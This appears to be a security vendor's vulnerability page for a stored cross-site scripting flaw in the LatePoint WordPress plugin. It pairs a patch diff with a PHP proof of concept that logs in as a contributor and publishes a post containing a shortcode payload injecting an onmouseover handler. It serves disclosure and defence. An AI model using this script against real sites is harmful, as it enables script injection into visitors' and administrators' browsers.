--- a/latepoint/lib/kit/bsf-analytics/modules/utm-analytics.php
+++ b/latepoint/lib/kit/bsf-analytics/modules/utm-analytics.php
@@ -11,7 +11,6 @@
 }

 if ( ! class_exists( 'BSF_UTM_Analytics' ) ) {
-

 	if ( ! defined( 'BSF_UTM_ANALYTICS_REFERER' ) ) {
 		define( 'BSF_UTM_ANALYTICS_REFERER', 'bsf_product_referers' );
@@ -43,8 +42,13 @@
 			'header-footer-elementor',
 			'latepoint',
 			'modern-cart',
+			'power-coupons',
 			'presto-player',
+			'sigmize',
 			'surecart',
+			'surecontact',
+			'surecookie',
+			'suredash',
 			'sureforms',
 			'suremails',
 			'surerank',
@@ -58,8 +62,7 @@
 			'wp-schema-pro',
 			'zipwp'
 		];
-
-
+
 		/**
 		 * This function will help to determine if provided slug is a valid bsf product or not,
 		 * This way we will maintain consistency through out all our products.
@@ -72,10 +75,10 @@
 			if ( empty( $slug ) || ! is_string( $slug ) ) {
 				return false;
 			}
-
+
 			return in_array( $slug, self::$bsf_product_slugs, true );
 		}
-
+
 		/**
 		 * This function updates value of referer and product in option
 		 * bsf_product_referer in form of key value pair as 'product' => 'referer'
@@ -86,36 +89,36 @@
 		 * @return void
 		 */
 		public static function update_referer( $referer, $product ) {
-
+
 			$slugs       = [
 				'referer' => $referer,
 				'product' => $product,
 			];
 			$error_count = 0;
-
+
 			foreach ( $slugs as $type => $slug ) {
 				if ( ! self::is_valid_bsf_product_slug( $slug ) ) {
 					error_log( sprintf( 'Invalid %1$s slug provided "%2$s", does not match bsf_product_slugs', $type, $slug ) ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- adding logs in case of failure will help in debugging.
 					$error_count++;
 				}
 			}
-
+
 			if ( $error_count > 0 ) {
 				return;
 			}
-
+
 			$slugs = array_map( 'sanitize_text_field', $slugs );
-
+
 			$bsf_product_referers = get_option( BSF_UTM_ANALYTICS_REFERER, [] );
 			if ( ! is_array( $bsf_product_referers ) ) {
 				$bsf_product_referers = [];
 			}
-
+
 			$bsf_product_referers[ $slugs['product'] ] = $slugs['referer'];
-
+
 			update_option( BSF_UTM_ANALYTICS_REFERER, $bsf_product_referers );
 		}
-
+
 		/**
 		 * This function will  add utm_args to pro link or purchase link
 		 * added utm_source by default additional utm_args such as utm_medium etc can be provided to generate location specific links
@@ -127,41 +130,39 @@
 		 * @return string
 		 */
 		public static function get_utm_ready_link( $link, $product, $utm_args = [] ) {
-
+
 			if ( false === wp_http_validate_url( $link ) ) {
 				error_log( 'Invalid url passed to get_utm_ready_link function' ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- adding logs in case of failure will help in debugging.
 				return $link;
 			}
-
+
 			if ( empty( $product ) || ! is_string( $product ) || ! self::is_valid_bsf_product_slug( $product ) ) {
 				error_log( sprintf( 'Invalid product slug provided "%1$s", does not match bsf_product_slugs', $product ) ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- adding logs in case of failure will help in debugging.
 				return $link;
 			}
-
+
 			$bsf_product_referers = get_option( BSF_UTM_ANALYTICS_REFERER, [] );
-
+
 			if ( ! is_array( $bsf_product_referers ) || empty( $bsf_product_referers[ $product ] ) ) {
 				return $link;
 			}
-
+
 			if ( ! self::is_valid_bsf_product_slug( $bsf_product_referers[ $product ] ) ) {
 				return $link;
 			}
-
+
 			if ( ! is_array( $utm_args ) ) {
 				$utm_args = [];
 			}
-
+
 			$utm_args['utm_source'] = $bsf_product_referers[ $product ];
-
+
 			$link = add_query_arg(
 				$utm_args,
 				$link
 			);
-
+
 			return $link;
 		}
 	}
 }
-
-
--- a/latepoint/lib/views/customer_cabinet/_booking_tile.php
+++ b/latepoint/lib/views/customer_cabinet/_booking_tile.php
@@ -37,7 +37,7 @@
 				   data-os-prompt="<?php esc_attr_e('Are you sure you want to cancel this appointment?', 'latepoint'); ?>"
 					   data-os-success-action="reload"
 					   data-os-action="<?php echo esc_attr(OsRouterHelper::build_route_name('customer_cabinet', 'request_cancellation')); ?>"
-					   data-os-params="<?php echo esc_attr(OsUtilHelper::build_os_params(['id' => $booking->id])); ?>"
+					   data-os-params="<?php echo esc_attr(OsUtilHelper::build_os_params(['id' => $booking->id], 'cancel_booking_' . $booking->id)); ?>"
 					<i class="latepoint-icon latepoint-icon-ui-24"></i>
 					<span><?php esc_html_e('Cancel', 'latepoint'); ?></span>
 				</a>
--- a/latepoint/lib/views/settings/general.php
+++ b/latepoint/lib/views/settings/general.php
@@ -526,13 +526,13 @@

                 <div class="sub-section-row">
                     <div class="sub-section-label">
-                        <h3><?php esc_html_e( 'Contribute', 'latepoint' ) ?></h3>
+                        <h3><?php esc_html_e( 'Improve LatePoint', 'latepoint' ) ?></h3>
                     </div>
                     <div class="sub-section-content">
                         <div class="os-row">
                             <div class="os-col-lg-12">
 								<?php
-                                    $ctl_sub_label = __( 'Collect non-sensitive information from your website, such as the PHP version and features used, to help us fix bugs faster, make smarter decisions, and build features that actually matter to you. %1$sLearn More%2$s', 'latepoint' );
+                                    $ctl_sub_label = __( 'Share how you use the plugin so we can build features that matter, fix issues faster, and make smarter decisions. %1$sLearn More%2$s', 'latepoint' );

                                     $ctl_sub_label = sprintf(
                                         $ctl_sub_label,
@@ -543,7 +543,7 @@
                                     $ctl_option_value = get_option( 'latepoint_usage_optin', 'no' );
                                     $ctl_is_active = $ctl_option_value === 'yes' ? true : false;

-                                    echo OsFormHelper::toggler_field( 'settings[contribute_to_latepoint]', __( 'Contribute to LatePoint', 'latepoint' ), $ctl_is_active, false, false, [ 'sub_label' => $ctl_sub_label ] ); ?>
+                                    echo OsFormHelper::toggler_field( 'settings[contribute_to_latepoint]', __( 'Help shape the future of LatePoint', 'latepoint' ), $ctl_is_active, false, false, [ 'sub_label' => $ctl_sub_label ] ); ?>
                             </div>
                         </div>
                     </div>
--- a/latepoint/lib/views/wizard/setup.php
+++ b/latepoint/lib/views/wizard/setup.php
@@ -4,7 +4,7 @@
 }
 ?>
 <div class="os-wizard-setup-w step-<?php echo esc_attr($current_step_code); ?>">
-	<a href="<?php echo esc_url(OsRouterHelper::build_link(OsRouterHelper::build_route_name('dashboard', 'index'))); ?>" class="os-wizard-close-trigger"><span><?php esc_html_e('Skip setup', 'latepoint'); ?></span><i class="latepoint-icon latepoint-icon-x"></i></a>
+	<a href="#" data-route-name="<?php echo esc_attr( OsRouterHelper::build_route_name( 'wizard', 'skip_setup' ) ); ?>" class="os-wizard-close-trigger os-wizard-skip-btn"><span><?php esc_html_e( 'Skip setup', 'latepoint' ); ?></span><i class="latepoint-icon latepoint-icon-x"></i></a>
 	<div class="os-wizard-setup-i">
 		<div class="os-wizard-step-content-w">
 			<div class="os-wizard-step-content">
--- a/latepoint/lib/views/wizard/steps/_personal_info.php
+++ b/latepoint/lib/views/wizard/steps/_personal_info.php
@@ -28,9 +28,17 @@
             </div>
             <div class="os-row">
                 <div class="os-col-12">
-                    <?php echo OsFormHelper::checkbox_field( 'personal_info[email_optin]', __( 'Get notified about updates, tips and new features from LatePoint.', 'latepoint' ), 'on', $wizard_email_optin === 'on' ); ?>
+                    <?php
+						echo OsFormHelper::checkbox_field(
+							'personal_info[email_optin]',
+							// translators: %1$s and %2$s are opening and closing anchor tags for Privacy Policy link
+							sprintf( __( 'Stay in the loop and help shape LatePoint! Get feature updates, and help us build a better LatePoint by sharing how you use the plugin. %1$sPrivacy Policy%2$s', 'latepoint' ), '<a href="https://latepoint.com/privacy-policy/" target="_blank">', '</a>' ),
+							'on',
+							$wizard_email_optin === 'on'
+						);
+					?>
                 </div>
             </div>
         </form>
     </div>
-</div>
 No newline at end of file
+</div>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5391 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

// Configuration
$target_url = 'https://example.com'; // Replace with the target WordPress site URL
$username = 'attacker';             // Contributor or higher credentials
$password = 'password';

// Step 1: Login to the WordPress site as a contributor.
// This PoC assumes the application passwords feature is enabled or the user can login via the standard login form.
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');   // Save session cookies
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'wp-admin') === false) {
    die('[!] Login failed. Check credentials or site configuration.n');
}
echo "[+] Logged in successfully.n";

// Step 2: Create or update a post/page with the malicious shortcode.
// The payload injects data attributes into the 'btn_wrapper_classes' parameter to trigger XSS.
$payload = "[latepoint_resources btn_wrapper_classes='x' onmouseover='alert(1)']";

// The post creation endpoint (REST API or classic editor POST request).
// This example uses the REST API to create a draft post.
// Note: `wp/v2/posts` endpoint requires proper permissions, and nonces might be needed depending on security plugins.
// For simplicity, this PoC assumes application passwords are used for API authentication.
$api_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = array(
    'title' => 'LatePoint XSS Test',
    'content' => $payload,
    'status' => 'publish' // Publishes directly; use 'draft' for testing.
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'Authorization: Basic ' . base64_encode($username . ':' . $password) // Using application password
));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);

$result_data = json_decode($result, true);
if (isset($result_data['id'])) {
    $post_link = $result_data['link'];
    echo "[+] Post created successfully. Visiting: $post_linkn";
} else {
    echo "[!] Failed to create post via API.";
    print_r($result_data);
}

// Step 3: Verify the XSS by fetching the page and checking for the unescaped payload.
// The payload will be in the HTML source.
$page_content = file_get_contents($post_link);
if (strpos($page_content, 'onmouseover=alert(1)') !== false) {
    echo "[+] XSS triggered. The payload is reflected in the page source. Check for JavaScript execution in a browser.n";
} else {
    echo "[-] The payload was not found in the response. The site may be patched or has a different configuration.n";
}

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.